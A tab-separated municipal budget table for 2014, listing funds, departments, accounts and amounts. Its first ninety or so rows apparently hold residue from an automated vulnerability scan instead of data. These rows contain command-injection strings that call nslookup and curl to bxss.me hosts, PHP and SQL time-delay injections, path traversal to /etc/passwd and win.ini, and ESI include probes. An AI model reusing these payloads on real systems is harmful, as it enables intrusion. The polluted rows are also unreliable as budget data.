1	1	1	1	ncMUFCMU	1	|(nslookup -q=cname hitarlazhzzlfc9044.bxss.me||curl hitarlazhzzlfc9044.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	`(nslookup -q=cname hitwhzxquvncze02b8.bxss.me||curl hitwhzxquvncze02b8.bxss.me)`	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	';print(md5(31337));$a='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	;(nslookup -q=cname hitpigjtuyupl6cac2.bxss.me||curl hitpigjtuyupl6cac2.bxss.me)|(nslookup -q=cname hitpigjtuyupl6cac2.bxss.me||curl hitpigjtuyupl6cac2.bxss.me)&(nslookup -q=cname hitpigjtuyupl6cac2.bxss.me||curl hitpigjtuyupl6cac2.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	SkY0Upvo: yIdDdszJ	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	aABOolqK	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1qxS5YgZd' OR 708=(SELECT 708 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	26QSQK0x: Yl6wUKRt	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	Bj2fMj0z	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	hjbnNKXX: Iw6CoppP	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	afytTZ4B	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	bzoCwGO2	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	oBj5h4od: yrB6uQ7j	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	3dVjjEeP	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	jfjNiPel: 1YlS0jm5	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	b5j1m6Y7	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	$(nslookup -q=cname hitohuodzgbiq618d6.bxss.me||curl hitohuodzgbiq618d6.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&nslookup -q=cname hitfrnfveagvm05b40.bxss.me&'\""`0&nslookup -q=cname hitfrnfveagvm05b40.bxss.me&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&echo yfjsot$()\ dnyxvi\nz^xyu||a #' &echo yfjsot$()\ dnyxvi\nz^xyu||a #|"" &echo yfjsot$()\ dnyxvi\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"|echo maiqbx$()\ jydjqa\nz^xyu||a #' |echo maiqbx$()\ jydjqa\nz^xyu||a #|"" |echo maiqbx$()\ jydjqa\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	expr 9000641820 - 941912	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&nslookup -q=cname hiteyttdqrvgb8a520.bxss.me&'\""`0&nslookup -q=cname hiteyttdqrvgb8a520.bxss.me&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	/etc/shells	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(nslookup -q=cname hitlxrfojbepcddc28.bxss.me||curl hitlxrfojbepcddc28.bxss.me))	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	$(nslookup -q=cname hitcswzufzrbf2e86b.bxss.me||curl hitcswzufzrbf2e86b.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&nslookup -q=cname hitgqtybcbdiua1c71.bxss.me&'\""`0&nslookup -q=cname hitgqtybcbdiua1c71.bxss.me&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&(nslookup -q=cname hitruzealtwtk95fd1.bxss.me||curl hitruzealtwtk95fd1.bxss.me)&'\""`0&(nslookup -q=cname hitruzealtwtk95fd1.bxss.me||curl hitruzealtwtk95fd1.bxss.me)&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	|(nslookup -q=cname hiteimvukfnhu04a27.bxss.me||curl hiteimvukfnhu04a27.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	`(nslookup -q=cname hitwrwpphiqqs41a87.bxss.me||curl hitwrwpphiqqs41a87.bxss.me)`	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	;(nslookup -q=cname hittluiddmenm3d052.bxss.me||curl hittluiddmenm3d052.bxss.me)|(nslookup -q=cname hittluiddmenm3d052.bxss.me||curl hittluiddmenm3d052.bxss.me)&(nslookup -q=cname hittluiddmenm3d052.bxss.me||curl hittluiddmenm3d052.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hituqgcqurfqz9a785.bxss.me||curl${IFS}hituqgcqurfqz9a785.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitphevibhbwlc6a00.bxss.me||curl${IFS}hitphevibhbwlc6a00.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitphevibhbwlc6a00.bxss.me||curl${IFS}hitphevibhbwlc6a00.bxss.me)&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	file:///etc/passwd	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	expr 9000630346 - 981405	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	file:///etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	file:///etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&echo ynbkfx$()\ kvadsd\nz^xyu||a #' &echo ynbkfx$()\ kvadsd\nz^xyu||a #|"" &echo ynbkfx$()\ kvadsd\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"|echo trxcal$()\ qsizag\nz^xyu||a #' |echo trxcal$()\ qsizag\nz^xyu||a #|"" |echo trxcal$()\ qsizag\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../etc/passwd	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	expr 9000493900 - 930959	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${9999231+10000459}	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../windows/win.ini	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(nslookup -q=cname hitjrstnxabgn4f37a.bxss.me||curl hitjrstnxabgn4f37a.bxss.me))	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	file:///etc/passwd	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup -q=cname hitespdwqdzvs3c668.bxss.me||curl hitespdwqdzvs3c668.bxss.me)&'\""`0&(nslookup -q=cname hitespdwqdzvs3c668.bxss.me||curl hitespdwqdzvs3c668.bxss.me)&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	`(nslookup -q=cname hitciieoxvgrb2184e.bxss.me||curl hitciieoxvgrb2184e.bxss.me)`	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	;(nslookup -q=cname hitqxjukrdjxi8fd09.bxss.me||curl hitqxjukrdjxi8fd09.bxss.me)|(nslookup -q=cname hitqxjukrdjxi8fd09.bxss.me||curl hitqxjukrdjxi8fd09.bxss.me)&(nslookup -q=cname hitqxjukrdjxi8fd09.bxss.me||curl hitqxjukrdjxi8fd09.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"echo roiwfn$()\ jxuggt\nz^xyu||a #' &echo roiwfn$()\ jxuggt\nz^xyu||a #|"" &echo roiwfn$()\ jxuggt\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${10000448+9999315}	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&echo qpvsgd$()\ sltneu\nz^xyu||a #' &echo qpvsgd$()\ sltneu\nz^xyu||a #|"" &echo qpvsgd$()\ sltneu\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	expr 9000222060 - 952389	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(nslookup -q=cname hithowpzcuszha1d1a.bxss.me||curl hithowpzcuszha1d1a.bxss.me))	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	$(nslookup -q=cname hitgelctmntpe7ea20.bxss.me||curl hitgelctmntpe7ea20.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${9999334+9999892}	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&nslookup -q=cname hitsxlqdugoevf636f.bxss.me&'\""`0&nslookup -q=cname hitsxlqdugoevf636f.bxss.me&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	|(nslookup -q=cname hituqhyqnklohbfff9.bxss.me||curl hituqhyqnklohbfff9.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${@print(md5(31337))}	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${10000420+10000406}	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1); waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
2	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511490.0	OVERTIME	810.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	262.0	0	0.0	0	0	0.0	262.0
3	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	404350.0	ATMS PHASE 4C-MTA	610.0	Intergovernmental	2014	0.0	0	0.0	-93305.0	0	0	0.0	0	0.0	0	0	0.0	-93305.0
4	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	232342.0	0	0.0	0.0	0	0	41666.67	0	0.0	0	0	0.0	274008.67
5	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	22519.0	0	0.0	0.0	0	0	7084.0	0	0.0	0	0	0.0	29603.0
6	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	100774.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100774.0
7	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	15299.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15299.0
8	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	70650	0.0	0	0.0	0	0	0.0	70650.0
9	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	313	0.0	0	0.0	0	0	0.0	313.0
10	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	495	0.0	0	0.0	0	0	0.0	495.0
11	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	12478.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12478.0
12	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	6666.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6666.0
13	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	18500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18500.0
14	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	408000.0	INTERFUND SERVICES-OPEN SP	612.0	Charges for Service	2014	-78409.0	0	0.0	0.0	0	0	0.0	78409	0.0	0	0	0.0	0.0
15	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	76247.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	76247.0
16	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	298373.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	298373.0
17	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
18	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	1035.0	0	0.0	0.0	0	0	155.0	0	0.0	0	0	0.0	1190.0
19	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	1289255.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1289255.0
20	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2437.0	0	0.0	0.0	0	0	158.33	0	0.0	0	0	0.0	2595.33
21	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	24674.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24674.0
22	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	33205.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	33205.0
23	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522120.0	UTILITIES - NATURAL GAS	810.0	 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
24	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511050.0	CAPITAL PROJECT STAFFING	808.0	Salaries and Wages	2014	-159075.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-159075.0
25	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405590.0	CABLE FRANCHISE FEES	608.0	Licenses and Permits	2014	-1087849.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1087849.0
26	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2014	4600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4600.0
27	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579004.0	DISCRET-COMM CAREER DEVE	804.0	 Supplies and Expenses	2014	92688.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	92688.0
28	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579006.0	DISCRET-SM FESTIVAL	804.0	 Supplies and Expenses	2014	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
29	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555399.0	13 UASI GRANT	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	47000.0	47000.0
30	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	406855.0	OTS STEP GRANT 2013	610.0	Intergovernmental	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	-73140.95	-73140.95
31	B1	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402930.0	UNIT DWELLING TAX	606.0	Other Local Taxes	2014	-25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25000.0
32	B1	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404060.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-31000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-31000.0
33	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511979.0	MEDICAL EXAMS		Salaries and Wages	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
34	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	410260.0	4TH COURT IMPROVEMENT CONTRIB	622.0	Other	2014	-210000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-210000.0
35	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EAP	808.0	Salaries and Wages	2014	104.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	104.0
36	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522540.0	ADVERTISING	808.0	 Supplies and Expenses	2014	37500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	37500.0
37	B1	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2014	-50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-50000.0
38	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579961.0	BBB-GEN FUND REIMB-MISC	910.0	 Supplies and Expenses	2014	446690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	446690.0
39	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	1285.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1285.0
